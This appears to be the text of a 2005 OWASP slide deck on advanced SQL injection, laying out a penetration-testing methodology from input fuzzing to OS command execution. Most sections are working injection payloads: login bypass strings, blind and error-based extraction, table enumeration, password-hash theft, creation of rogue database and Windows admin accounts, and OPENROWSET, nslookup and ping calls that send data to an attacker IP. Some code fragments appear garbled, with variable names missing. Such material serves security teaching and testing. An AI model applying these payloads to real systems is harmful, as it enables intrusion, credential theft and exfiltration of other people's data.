Advanced SQL Injection

Advanced SQL Injection
Victor Chapela Sm4rt Security Services OWASP 4/11/2005 Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation

What is SQL Injection? The ability to inject SQL commands into the database engine through an existing application SQL injection is a type of security exploit in which the attacker adds SQL statements through a web application's input fields or hidden parameters to gain access to resources or make changes to data. It's a serious vulnerability, which can lead to a high level of compromise - usually the ability to run any database query. It is an attack on web-based applications that connect to database back-ends in which the attacker executes unauthorized (and unexpected) SQL commands by taking advantage of insecure code and bad input validation. It is very often done on systems connected to the Internet because it allows to completely bypass the firewall. SQL injection attacks can be used to steal information from a database from which the data would normally not be available and to gain access to host computers through the database engine. OWASP

How common is it? It is probably the most common Website vulnerability today! It is a flaw in "web application" development, it is not a DB or web server problem Most programmers are still not aware of this problem A lot of the tutorials & demo “templates” are vulnerable Even worse, a lot of solutions posted on the Internet are not good enough In our pen tests over 60% of our clients turn out to be vulnerable to SQL Injection Web-based applications constitute the worst threat of SQL injection. In our Pen Tests, over 60% of our clients continue to be vulnerable to SQL Injection. The main problem with SQL Injection is that the vulnerability is originated when the web application is coded. Most programmers are still not aware of the problem. Tutorials and demo "templates" on the Internet and even some that have been shipped with commercial databases promote building queries by concatenating strings, which is the main source for SQL Injection vulnerabilities. Additionally, a lot of the proposed solutions on the web continue to be flawed. OWASP

Vulnerable Applications
Almost all SQL databases and programming languages are potentially vulnerable MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase, Informix, etc Accessed through applications developed using: Perl and CGI scripts that access databases ASP, JSP, PHP XML, XSL and XSQL Javascript VB, MFC, and other ODBC-based tools and APIs DB specific Web-based applications and API’s Reports and DB Applications 3 and 4GL-based languages (C, OCI, Pro*C, and COBOL) many more Almost all SQL databases and programming languages are potentially vulnerable. It is an input validation problem that has to be considered and programmed by the web application developer. OWASP

How does SQL Injection work?
Common vulnerable login query SELECT * FROM users WHERE login = 'victor' AND password = '123' (If it returns something then login!) ASP/MS SQL Server login syntax var sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'"; A common way of validating users in an application is to by checking if the user and password combination exists in the users table. The following query will bring back one record if there is one row where the login = 'victor' and the password = '123': SELECT * FROM users WHERE login = 'victor' AND password = '123' To code this, a common practice among developers is to concatenate a string with the SQL command and then execute it to see if it returns something different to null. An Active Server Page code where the SQL statement gets concatenated might look like: var sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'"; OWASP

Injecting through Strings
formusr = ' or 1=1 – – formpwd = anything Final query would look like this: SELECT * FROM users WHERE username = ' ' or 1=1 – – AND password = 'anything' SQL Injection occurs when an attacker is able to insert a series of SQL statements into a 'query' by manipulating data input. If an attacker inserts: ' or 1=1 -- into the formusr field he will change the normal execution of the query. By inserting a single quote the username string is closed and the final concatenated string would end up interpreting or 1=1 as part of the command. The -- (double dash) is used to comment everything after the or 1=1 and avoid a wrong syntax error. This could also have been achieved by inserting the following command: ' or '1'='1 By injecting any of the two commands discussed, an attacker would get logged in as the first user in the table. This happens because the WHERE clause ends up validating that the username = ' ' (nothing) OR 1=1 (OR '1'='1' in the second statement) The first conditional is False but the second one is True. By using OR the whole condition is True and therefore all rows from table users are returned. All rows is not null therefore the log in condition is met. OWASP

It closes the string parameter
The power of ' It closes the string parameter Everything after is considered part of the SQL command Misleading Internet suggestions include: Escape it! : replace ' with ' ' String fields are very common but there are other types of fields: Numeric Dates The single quote character closes the string field and therefore allows all of the following text to be interpreted as SQL commands. To prevent this, a lot of the SQL Injection quick solutions found on the Internet suggest escaping the single quote with a double quote (that is the standard way of escaping single quotes in SQL99). This is only a half remedy though because there are always numeric fields or dates within forms or parameters that will remain vulnerable. OWASP

PHP/MySQL login syntax $sql = "SELECT * FROM clients WHERE " .
If it were numeric? SELECT * FROM clients WHERE account = AND pin = 1111 PHP/MySQL login syntax $sql = "SELECT * FROM clients WHERE " . "account = $formacct AND " . "pin = $formpin"; With a similar syntax a numeric login would not use single quotes because in SQL you only need quotes for strings. This PHP / MySQL code example concatenates a query that uses no single quotes as part of the syntaxis. OWASP

Injecting Numeric Fields
$formacct = 1 or 1=1 # $formpin = 1111 Final query would look like this: SELECT * FROM clients WHERE account = 1 or 1=1 # AND pin = 1111 Injecting into a numeric field is very similar. The main difference with string injection is that in numeric injection the first number is taken as the complete parameter (no need to close it with a single quote) and all the text after that number will be considered as part of the command. In this case the # (number sign) is used instead of the -- (double dash) because we are injecting into a MySQL database. OWASP

SQL Injection Characters
' or " character String Indicators -- or # single-line comment /*…*/ multiple-line comment + addition, concatenate (or space in url) || (double pipe) concatenate % wildcard attribute indicator ?Param1=foo&Param2=bar URL Parameters PRINT useful as non transactional command @variable local variable global variable waitfor delay '0:0:10' time delay Symbol Usage in SQL99 complaint DBs + Addition operator; also concatenation operator; when used in an URL it becomes a white space) || Concatenation operator in Oracle and Postgres - Subtraction operator; also a range indicator in CHECK constraints = Equality operator <> != Inequality operators >< Greater-than and Less-than operators ( ) Expression or hierarchy delimiter % Wildcard attribute indicator , List item separator @, Local and Global variable indicators . Identifier qualifier separator ‘’ “” Character string indicators “” Quoted identifier indicators -- Single-line comment delimiter # Single-line comment delimiter in MySQL or date delimiter in MS Access /*…*/ Begin and End multiline comment delimiter OWASP

Methodology OWASP The OWASP Foundation http://www.owasp.org
Depending on your objective the general methodology may vary. For Pen Testing purposes we have defined some comprehensive steps for testing applications. Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation

SQL Injection Testing Methodology
1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction We have based our methodology on the OWASP Testing Framework. The Open Web Application Security Project (OWASP) is a volunteer project dedicated to sharing knowledge and developing open source software that promotes a better understanding of web application security. The OWASP Testing Project has been in development for over two years. It helps understand the what, why, when, where, and how of testing web applications, and not just provide a simple checklist or prescription of issues that should be addressed. OWASP has built a testing framework from which we have expanded to build our own testing program. In our Detailed Structured Analysis each step is analyzed, and all the tangents and sub-tangents are followed (attack-trees). Above we have included our SQL Injection analysis attack tree. 4) Extracting Data 6) OS Cmd Prompt 7) Expand Influence OWASP

1) Input Validation 1) Input Validation 2) Info. Gathering
3) 1=1 Attacks 5) OS Interaction 4) Extracting Data 6) OS Cmd Prompt The first step is to find a vulnerable entry in the web application. 7) Expand Influence OWASP

Discovery of Vulnerabilities
Vulnerabilities can be anywhere, we check all entry points: Fields in web forms Script parameters in URL query strings Values stored in cookies or hidden fields By "fuzzing" we insert into every one: Character sequence: ' " ) # || + > SQL reserved words with white space delimiters %09select (tab%09, carriage return%13, linefeed%10 and space%32 with and, or, update, insert, exec, etc) Delay query ' waitfor delay '0:0:10'-- To find vulnerabilities all parameters in a web form must be checked. SQL Injection can happen in any of the following: Fields in Web Forms Script Parameters in Query Strings sent as part of the URL Values stored in cookies that are sent back to the web application Values sent in hidden fields To find all the different entry points in a web application a web proxy or a fuzzer must be used. With a fuzzer we insert different types of input into each entry point. "Fuzzing" is an automated software testing technique that generates and submits random or sequential data to various entry points of an application in an attempt to uncover security vulnerabilities. We use this technique to send specific string combinations with SQL specific reserved characters and words. We are looking for an application error or changes in the applications behavior or responses due to the insertion of one or several strings. For example, the delay query will make the application respond after 10 seconds if it is vulnerable and executing our command (in this case it would also have to be a MS SQL Server). OWASP

2) Information Gathering
1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 4) Extracting Data 6) OS Cmd Prompt Once a vulnerable entry has been detected. The next step is to gather as much information as possible about the underlying application. 7) Expand Influence OWASP

2) Information Gathering
We will try to find out the following: Output mechanism Understand the query Determine database type Find out user privilege level Determine OS interaction level The information gathering stage is fundamental. The scope and depth of the subsequent attack as well as, the query syntax to be used will both be determined by the results of this stage. Output mechanisms are essential for extracting information about and within the database. Depending on the type of mechanism found, it will strongly change the attack techniques. Understanding the underlying query will allow to craft correct statements. By knowing this, different types of error messages and attacks are possible. Different databases allow and require different SQL syntax. Defining the database engine type is fundamental for the following stages. Most advanced SQL injection requires high user privilege levels. Knowing what we can or cannot do will save us time. Finally, interacting with the underlying operating system either through command execution or through read/write access to the file system will allow a whole different group of attacks. OWASP

a) Exploring Output Mechanisms
Using query result sets in the web application Error Messages Craft SQL queries that generate specific types of error messages with valuable info in them Blind SQL Injection Use time delays or error signatures to determine extract information Almost the same things can be done but Blind Injection is much slower and more difficult Other mechanisms , SMB, FTP, TFTP An important aspect of SQL Injection is getting information back. This can be tricky because Web Applications do not normally allow you to see the results of your queries. For the attacker, the easiest situation would be to have the results of the modified query displayed as part of the web server response. This sometimes happens when the vulnerable input is part of query that sends a result set back to the web application, such as lists. In this case most information can be crafted through union statements to be displayed with the result set. In other cases the modified query result set is used by the application and is not displayed through the web application. If the Web Server is configured to display error messages, a lot of information can be extracted through them. Finally, if the modified query interrupts the normal behavior of the application (which can result in a 403 or 404 error message) but no error message is displayed, this is normally an indication of blind SQL injection. There are methods to extract information from databases through time delays or error signatures. Almost the same things can be done in both scenarios but Blind Injection is much slower, much noisier and more difficult because most of the information hast to be extracted slowly (through a lot of queries) or guessed. Other mechanisms that may be used to send information are , creating remote webpages using smb, or sending complete files with ftp or tftp. OWASP

Extracting information through Error Messages
Grouping Error ' group by columnnames having 1=1 - - Type Mismatch ' union select 1,1,'text',1,1,1 - - ' union select 1,1, bigint,1,1,1 - - Where 'text' or bigint are being united into an int column In DBs that allow subqueries, a better way is: ' and 1 in (select 'text' ) - - In some cases we may need to CAST or CONVERT our data to generate the error messages Grouping error Within a SELECT statement the HAVING command allows to further define a query based on the “grouped” fields. The error message will tell us which columns have not been grouped. Type mismatch or overflow errors By trying to insert strings into numeric fields or a bigint into an int the error message will show us the data that could not get converted. OWASP

Blind Injection We can use different known outcomes
' and condition and '1'='1 Or we can use if statements '; if condition waitfor delay '0:0:5' -- '; union select if( condition , benchmark (100000, sha1('test')), 'false' ),1,1,1,1; Additionally, we can run all types of queries but with no debugging information! We get yes/no responses only We can extract ASCII a bit at a time... Very noisy and time consuming but possible with automated tools like SQueaL By using a condition as shown in the first example and if we know the expected outcome for a correct and for an incorrect condition, we can prove if the condition is true or not. This works with all SQL databases, what varies is the type of condition we can insert. Using if statements with some kind of delay is different for different databases. Some like MS SQL Server will require the IF condition to be a separate command (shown in the WAITFOR DELAY query above). In others, like in MySQL the same effect can be achieved with the BENCHMARK function, which can be used as an expression within a SELECT statement. Additionally, we can run the same types of queries as in normal injection but with no debugging information. This gets complicated fast. With the Boolean responses we can extract text information by converting it into ASCII and then converting the ASCII to binary and THEN getting one bit at a time. This can be very time consuming and above all notorious because of its noisiness. It has been automated in tools like SQueaL that allow complete database structures and their contents to be transferred bit by bit. OWASP

b) Understanding the Query
The query can be: SELECT UPDATE EXEC INSERT Or something more complex Context helps What is the form or page trying to do with our input? What is the name of the field, cookie or parameter? It is important to know in what part of the modified query we are. The parameter we are modifying can land in wide variety of places. It can be part of a SELECT, UPDATE, EXEC, INSERT, DELETE or CREATE statement. It can be part of a subquery, a stored procedure parameter or something more complex. We start by determining what the form or page is trying to do with our input. What is the name of the field? How would we have written that SQL query? OWASP

Most injections will land in the middle of a SELECT statement
In a SELECT clause we almost always end up in the WHERE section: SELECT * FROM table WHERE x = 'normalinput' group by x having 1=1 -- GROUP BY x HAVING x = y ORDER BY x Most injection points end up in the WHERE clause of a SELECT statement as shown above. There are several parts of the statement that can be bypassed or included depending on how we structure our insertion. OWASP

In a change your password section of an app we may find the following
UPDATE statement In a change your password section of an app we may find the following UPDATE users SET password = 'new password' WHERE login = logged.user AND password = 'old password' If you inject in new password and comment the rest, you end up changing every password in the table! UPDATE statements are also found in places like the "change my password" section. It can be trickier to inject into an UPDATE statement. You potentially do more damage. In our example above you can end up inserting into the SET part of the query ('new password'). And if you do and decide to comment the rest of the query, all users in the table users would get their password changed. OWASP

Determining a SELECT Query Structure
Try to replicate an error free navigation Could be as simple as ' and '1' = '1 Or ' and '1' = '2 Generate specific errors Determine table and column names ' group by columnnames having 1=1 -- Do we need parenthesis? Is it a subquery? To better understand a SELECT query a good way is to try to replicate an error free navigation. By sending statements like the ones described above you can be certain of the application responses to both TRUE and FALSE conditions. We try generating specific types of errors that give you more information about the table name and parameters in the query. Sometimes we may have to add parenthesis to escape a subquery. OWASP

Is it a stored procedure?
We use different injections to determine what we can or cannot do ?Param1=foo&Param2=bar PRINT PRINT We can also inject into stored procedures or add batch commands to the execution depending on how the parameters are passed to the store procedure and how it is executed. If we know there is a vulnerability we can add new variables and parameters to try to understand the query. We will get different types of errors depending on what we add. The PRINT command is also useful because it is recognized by the database engine but should have no effect. Passing a to the print command can help distinguish between correct or incorrect responses. The main purpose is to try to identify if commands are being executed or not and exactly in what part of what query we landed on. OWASP

Tricky Queries When we are in a part of a subquery or begin - end statement We will need to use parenthesis to get out Some functionality is not available in subqueries (for example group by, having and further subqueries) In some occasions we will need to add an END When several queries use the input We may end up creating different errors in different queries, it gets confusing! An error generated in the query we are interrupting may stop execution of our batch queries Some queries are simply not escapable! There are some tricky queries where you end up in the middle of a subquery or a BEGIN-END statement. We will try to close parenthesis and add END commands. This may help to escape the query. In other occasions the same input will be used in several queries. Slightly changing the input gives you different error messages that come from different queries. This gets particularly confusing when trying UNION statements. You will normally be able to work generating errors in the first query. The tough part is realizing which errors come from which queries. Sometimes we cannot change or inject anything into the query without generating a cascade of errors that are inescapable. There are some queries that because of the way they are built or the database they are using, are simply impossible to escape. In these cases it is easier to go and find another injection point. OWASP

c) Determine Database Engine Type
Most times the error messages will let us know what DB engine we are working with ODBC errors will display database type as part of the driver information If we have no ODBC error messages: We make an educated guess based on the Operating System and Web Server Or we use DB-specific characters, commands or stored procedures that will generate different error messages Determining the database engine type is fundamental to continue with the injection process. Most times this will be easy if we have error messages coming back. ODBC will normally display the database type as part of the driver information when reporting an error. In those cases where the error message is not an ODBC message that can also be useful. First, you know you are most probably not on a Windows box. By knowing what operating system and web server we are connecting to it is easier sometimes to deduce the possible database. Using specific characters, commands, stored procedures and syntax we can know with much more certainty what SQL database we have injected into. OWASP

select into outfile / dumpfile
Some differences MS SQL T-SQL MySQL Access Oracle PL/SQL DB2 Postgres PL/pgSQL Concatenate Strings ' '+' ' concat (" ", " ") " "&" " ' '||' ' " "+" " Null replace Isnull() Ifnull() Iff(Isnull()) COALESCE() Position CHARINDEX LOCATE() InStr() TEXTPOS() Op Sys interaction xp_cmdshell select into outfile / dumpfile #date# utf_file import from export to Call Cast Yes No Above are some differences that can be used to determine what db we are in if we have no other easier way. By trying out conditions using the 'and condition and '1'='1 statement we can determine what type of database we have connected to. OWASP

Default stored procedures
More differences… MS SQL MySQL Access Oracle DB2 Postgres UNION Y Subselects N 4.0 Y 4.1 N Batch Queries N* Default stored procedures Many Linking DBs The differences from one database to the other will also determine what we can or cannot do. To notice, MySQL is the only one that does not support subqueries in its current release. Nevertheless, beta version 4.1 has implemented subqueries and will soon be released. The UNION statement was implemented in MySQL version 4.0. Batch queries are not very common and stored procedures are only available in MS SQL and Oracle. The more complete, flexible and OS integrated a database is, the more potential avenues of attack. OWASP

d) Finding out user privilege level
There are several SQL99 built-in scalar functions that will work in most SQL implementations: user or current_user session_user system_user ' and 1 in (select user ) -- '; if user ='dbo' waitfor delay '0:0:5 '-- ' union select if( user() like benchmark(50000,sha1('test')), 'false' ); The next piece of information we need to know are what privileges are we running with. We will have the privileges of the user with which the application server connects to the database. We want to know what that user's privileges are. SQL99 has built-in scalar functions supported by most SQL implementations that allow us to query within a SELECT statement for the current user, the session user and the system user. We can use these functions to return the user name within an error message. If we are using blind injection we can also use an if and a time delay along with the name of a privileged user (dba or root) to determine if we are administrators or root of the database. OWASP

DB Administrators Default administrator accounts include:
sa, system, sys, dba, admin, root and many others In MS SQL they map into dbo: The dbo is a user that has implied permissions to perform all activities in the database. Any member of the sysadmin fixed server role who uses a database is mapped to the special user inside each database called dbo. Also, any object created by any member of the sysadmin fixed server role belongs to dbo automatically. Default database administrator accounts vary from one database to another. It is common to find SQL injection in connections that are running default administrator privileges. A default administrator will have privileges to do everything within the database and that in some cases extends over to the operating system easily. OWASP

3) 1=1 Attacks 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks
5) OS Interaction 4) Extracting Data 6) OS Cmd Prompt Once we know basic information about the database, the query structure and our privileges we will start the attack. 7) Expand Influence OWASP

Determine table and column names ' group by columnnames having 1=1 --
Discover DB structure Determine table and column names ' group by columnnames having 1=1 -- Discover column name types ' union select sum(columnname ) from tablename -- Enumerate user defined tables ' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') -- The next thing we will want to know is the database structure. For that we will use the "HAVING 1=1" statement to enumerate all columns in the table. After that, by using a UNION statement and trying to sum() a column name we can quickly identify numeric from alphanumeric columns. To enumerate tables in a database we can directly query the metadata. Each database has its own metadata structure. The one above is a MS SQL specific query. OWASP

Enumerating table columns in different DBs
MS SQL SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename ') sp_columns tablename (this stored procedure can be used instead) MySQL show columns from tablename Oracle SELECT * FROM all_tab_columns WHERE table_name='tablename ' DB2 SELECT * FROM syscat.columns WHERE tabname= 'tablename ' Postgres SELECT attnum,attname from pg_class, pg_attribute WHERE relname= 'tablename ' AND pg_class.oid=attrelid AND attnum > 0 In different databases the queries to enumerate the columns of a table can also be done directly by querying the metadata. In each database the syntax is slightly different. OWASP

All tables and columns in one query
' union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' + systypes.name, 1, 1, '1', 1, 1, 1, 1, 1 from sysobjects, syscolumns, systypes where sysobjects.xtype = 'U' AND sysobjects.id = syscolumns.id AND syscolumns.xtype = systypes.xtype -- This query enumerates all tables and columns in the database. It can be inserted into a grid result. This also uses common metadata tables to determine the table, each field in the table, and the type of each field. This result set could also be concatenated through a temp table into a single string and with Substring() could be used to get the results through error messages, 256 characters at a time. OWASP

Database Enumeration In MS SQL Server, the databases can be queried with master..sysdatabases Different databases in Server ' and 1 in (select min(name ) from master.dbo.sysdatabases where name >'.' ) -- File location of databases ' and 1 in (select min(filename ) from master.dbo.sysdatabases where filename >'.' ) -- Some servers have several databases. By interrogating metadata system tables information about the databases can also be extracted. OWASP

System Tables Oracle MS Access MS SQL Server MySQL MsysACEs
SYS.USER_OBJECTS SYS.TAB SYS.USER_TEBLES SYS.USER_VIEWS SYS.ALL_TABLES SYS.USER_TAB_COLUMNS SYS.USER_CATALOG MySQL mysql.user mysql.host mysql.db MS Access MsysACEs MsysObjects MsysQueries MsysRelationships MS SQL Server sysobjects syscolumns systypes sysdatabases This is a list of some of the useful metadata system tables in different databases. OWASP

4) Extracting Data 1) Input Validation 2) Info. Gathering
3) 1=1 Attacks 5) OS Interaction 4) Extracting Data 6) OS Cmd Prompt Extracting data is easy once the database has been enumerated and the query is understood. 7) Expand Influence OWASP

Grabbing username and passwords from a User Defined table
Password grabbing Grabbing username and passwords from a User Defined table '; begin varchar(8000) select '+login+'/'+password+' ' from users where as var into temp end -- ' and 1 in (select var from temp) -- ' ; drop table temp -- With this query all the logins and passwords from our users tables are extracted into a variable This is inserted into a new table called temp in a column called var. The var column of the temp table is then sent back through an error message. The temp table is deleted from the database. We could also insert a login and password of our own into the users table with the following command: '; insert into users select 4,'Victor','Chapela','victor','Pass123' -- OWASP

Create DB Accounts MS SQL MySQL Access
exec sp_addlogin 'victor', 'Pass123' exec sp_addsrvrolemember 'victor', 'sysadmin' MySQL INSERT INTO mysql.user (user, host, password) VALUES ('victor', 'localhost', PASSWORD('Pass123')) Access CREATE USER victor IDENTIFIED BY 'Pass123' Postgres (requires UNIX account) CREATE USER victor WITH PASSWORD 'Pass123' Oracle CREATE USER victor IDENTIFIED BY Pass TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; GRANT CONNECT TO victor; GRANT RESOURCE TO victor; An additional step would be to create our own user account for the database. This might allow us to connect directly to the database and is necessary for certain types of commands. With the appropriate privileges we can create our own account in the database. Here is a list of some commands to create user account in different databases engines. OWASP

Grabbing MS SQL Server Hashes
An easy query: SELECT name, password FROM sysxlogins But, hashes are varbinary To display them correctly through an error message we need to Hex them And then concatenate all We can only fit 70 name/password pairs in a varchar We can only see 1 complete pair at a time Password field requires dbo access With lower privileges we can still recover user names and brute force the password Some databases also store the hashes for the database user passwords within a table. In MS SQL Server the name and password for users are stored in a table called sysxlogins. To extract them we have to convert the hashes that are kept in binary form into a hexadecimal format that can be displayed as part of the error message. We then concatenate them into one single long string. One important thing to note is that even though the name column in sysxlogins is public, the password column requires dbo access level. If access to the password fields is not possible, the user names can be used as part of a brute forcing attempt described later. OWASP

What do we do? The hashes are extracted using We then hex each hash
SELECT password FROM master..sysxlogins We then hex each hash begin @hexstring = ' ABCDEF' while BEGIN int select select select - select + SUBSTRING + 1) select END And then we just cycle through all passwords To do this we select one by one the entries within sysxlogins that have a password. We then hex each hash and concatenate it to the variable we are building. We repeat this for each valid password. We end up with a table that contains in one single line, all the user name/password pairs (up to 8000 characters). OWASP

It is a long statement Extracting SQL Hashes
'; begin char(16) min(xdate1) from master.dbo.sysxlogins where password is not null) begin <= (select max(xdate1) from master.dbo.sysxlogins where password is not null) begin password from master.dbo.sysxlogins = @hexstring = ' ABCDEF' while begin declare @tempint int select select - select + SUBSTRING + SUBSTRING @secondint+1, 1) select end select | from master.dbo.sysxlogins where = (select isnull(min(xdate1),getdate()) from master..sysxlogins where and password is not null) end as x into temp end end -- This is the complete statement we defined to translate the passwords to hex, concatenate them and store them as part of a varchar variable. This query requires some changes for long user tables. OWASP

Extract hashes through error messages
' and 1 in (select x from temp) -- ' and 1 in (select substring (x, 256, 256) from temp) -- ' and 1 in (select substring (x, 512, 256) from temp) -- etc… ' drop table temp -- We then use substring to extract one 256 character piece at a time. OWASP

Brute forcing Passwords
Passwords can be brute forced by using the attacked server to do the processing SQL Crack Script create table tempdb..passwords( pwd varchar(255) ) bulk insert tempdb..passwords from 'c:\temp\passwords.txt' select name, pwd from tempdb..passwords inner join sysxlogins on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where (pwdcompare( name, sysxlogins.password, 0 ) = 1) union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null and syslogins.isntgroup=0 and syslogins.isntuser=0 drop table tempdb..passwords The hashes could be broken offline. But if we wanted to use the victim Server processing power to brute force the password hashes we could use the above query to start an dictionary attack on the stored hashes. The dictionary could be inserted by hand, with a perl script or by sending a wordlist (we will later see some options for file transfers). OWASP

Transfer DB structure and data
Once network connectivity has been tested SQL Server can be linked back to the attacker's DB by using OPENROWSET DB Structure is replicated Data is transferred It can all be done by connecting to a remote port 80! If we have network connectivity a reverse connection can be established and the whole database can be transferred to our local SQL Server. OWASP

Create Identical DB Structure
'; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') select * from master.dbo.sysdatabases -- '; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') select * from user_database.dbo.sysobjects -- '; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_syscolumns') select * from user_database.dbo.syscolumns -- By transferring the database's metadata you can recreate the database structure in your local system. OWASP

Transfer DB '; insert into OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..table1') select * from database..table1 -- 'select * from mydatabase..table2') select * from database..table2 -- Once the structure has been recreated, the data may be easily transferred a table at a time. Using this method, an attacker can retrieve the contents of a table even if the application is designed to conceal error messages or invalid query results. OWASP

5) OS Interaction 1) Input Validation 2) Info. Gathering
3) 1=1 Attacks 5) OS Interaction 4) Extracting Data 6) OS Cmd Prompt Depending on the database type and our privileges with in it, we may be able to interact directly with the underlying operating system. 7) Expand Influence OWASP

Interacting with the OS
Two ways to interact with the OS: Reading and writing system files from disk Find passwords and configuration files Change passwords and configuration Execute commands by overwriting initialization or configuration files Direct command execution We can do anything Both are restricted by the database's running privileges and permissions There are two main ways to interact with the operating system. Depending on the database engine and the configuration we may be able to read and write files or execute commands. In both cases we will be restricted by the privileges and permissions of the user with which the database engine is run. If we can read and write files we will be able to upload into the database files containing password and configuration information. In a similar way we would also be able to change some of the passwords or configuration files by appending or overwriting system files. If we have OS command execution we will be able to do anything. OWASP

MySQL OS Interaction MySQL LOAD_FILE LOAD DATA INFILE
' union select 1,load_file('/etc/passwd'),1,1,1; LOAD DATA INFILE create table temp( line blob ); load data infile '/etc/passwd' into table temp; select * from temp; SELECT INTO OUTFILE The LOAD_FILE function returns a string containing the contents of a file, specified by it's path. LOAD_FILE also works on binary files, and SUBSTRING allows you to skip nulls and select x characters at a time, so the attacker can use this technique to read arbitrary text or binary files. LOAD_FILE is a function that can be used as a term in a select statement, whereas issuing a complete statement like 'LOAD DATA INFILE' is somewhat tricky. If the SQL injection situation allows us to submit multiple statements, however, this can be a serious problem. The companion statement to LOAD DATA INFILE is SELECT INTO OUTFILE. Many of the same disadvantages are present from the attacker's point of view. MySQL does not support batch queries and therefore it is difficult to execute through SQL injection. Nevertheless, this statement represents the most obvious way for an attacker to gain control of a MySQL Server. Normally by creating nonexistent configuration files, possibly in users home directories. We can also create binary files with SELECT INTO DUMPFILE. It's worth remembering that in recent versions this statement cannot modify existing files; it can only create new ones. OWASP

MS SQL OS Interaction MS SQL Server
'; exec master..xp_cmdshell 'ipconfig > test.txt' -- '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' -- '; begin varchar(8000) ; ' ; select | ' from tmp where ; as x into temp end -- ' and 1 in (select substring(x,1,256) from temp) -- '; sysname; = 'del test.txt'; EXEC drop table temp; drop table tmp -- The XP_CMDSHELL extended procedure allows us to execute any OS command in a non interactive way. To be able to read the results of the command execution we have to send the output into a file and then insert that file into the database using bulk insert. Once in the database, we can concatenate the data into one long string so we can read it 256 characters at a time through error messages. We would then delete the temporary file and table at the end. OWASP

Injected SQL Execution!
Architecture To keep in mind always! Our injection most times will be executed on a different server The DB server may not even have Internet access Web Server Web Page Access Application Server Input Validation Flaw Database Server Injected SQL Execution! It is important to keep in mind that the web server in most cases is not the database server. So we might be executing commands in a server that has no direct Internet connectivity. OWASP

Assessing Network Connectivity
Server name and configuration ' and 1 in (select ) -- ' and 1 in (select srvname from master..sysservers ) -- NetBIOS, ARP, Local Open Ports, Trace route? Reverse connections nslookup, ping ftp, tftp, smb We have to test for firewall and proxies To expand our influence into the operating system we want to know if we have some kind of network connectivity. To do so there are several different techniques we can use. We can interrogate the database for the server name and we can use xp_cmdshell to run OS level networking commands. We may also try reverse connections that will give us information about the remote IPs or even allow us to upload files. OWASP

Gathering IP information through reverse lookups
Reverse DNS '; exec master..xp_cmdshell 'nslookup a.com MyIP' -- Reverse Pings '; exec master..xp_cmdshell 'ping MyIP' -- OPENROWSET '; select * from OPENROWSET( 'SQLoledb', 'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=MyIP,80;', 'select * from table') When using a reverse DNS lookup we will have to use our own IP and ask for any domain name. By using a sniffer or by checking our firewall log we will be able to see the incoming DNS requests. DNS lookups will normally get through firewalls and proxies even if the machine has no Internet access configured by using the DNS hierarchy. Another way of doing this is with ICMP packets, for example using PINGs. This is more likely to be blocked by the firewall though. We may try to use OPENROWSET (this does not require administrative privileges) to connect back to our own IP. We can choose to connect to port 80 in an attempt to circumvent firewall or proxy rules. OWASP

Network Reconnaissance
Using the xp_cmdshell all the following can be executed: Ipconfig /all Tracert myIP arp -a nbtstat -c netstat -ano route print By executing these commands we can retrieve a very detailed network configuration. OWASP

Network Reconnaissance Full Query
'; varchar(256); = ' del test.txt && arp - a >> test.txt && ipconfig /all >> test.txt && nbtstat -c >> test.txt && netstat -ano >> test.txt && route print >> test.txt && tracert -w 10 -h 10 google.com >> test.txt'; EXEC -- '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' -- '; begin varchar(8000) ; ' ; select | ' from tmp where ; select @data as x into temp end -- ' and 1 in (select substring(x,1,255) from temp) -- '; sysname; = 'del test.txt'; EXEC drop table temp; drop table tmp -- To execute network reconnaissance in a simple steps the above statements could be executed. OWASP

6) OS Cmd Prompt 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks
5) OS Interaction 4) Extracting Data 6) OS Cmd Prompt To be able to execute OS commands through SQL Injection is not always possible. 7) Expand Influence OWASP

MS SQL Windows Password Creation
Jumping to the OS Linux based MySQL ' union select 1, (load_file('/etc/passwd')),1,1,1; MS SQL Windows Password Creation '; exec xp_cmdshell 'net user /add victor Pass123'-- '; exec xp_cmdshell 'net localgroup /add administrators victor' -- Starting Services '; exec master..xp_servicecontrol 'start','FTP Publishing' -- In most databases, the path into the operating system will not be direct. We will have to start searching for passwords and in some cases replacing configuration files to be able to gain access. And access will be obtained indirectly. In MS SQL Server in particular we will be able to use the exec xp_cmdshell procedure to execute commands. One of the first thing we may want to do as an attacker is to add our own user and include it as an administrator. There are a lot of different extended procedures in MS SQL Server that can be abused by an attacker. Another one is xp_servicecontrol that allows us to start a service. OWASP

Using ActiveX Automation Scripts
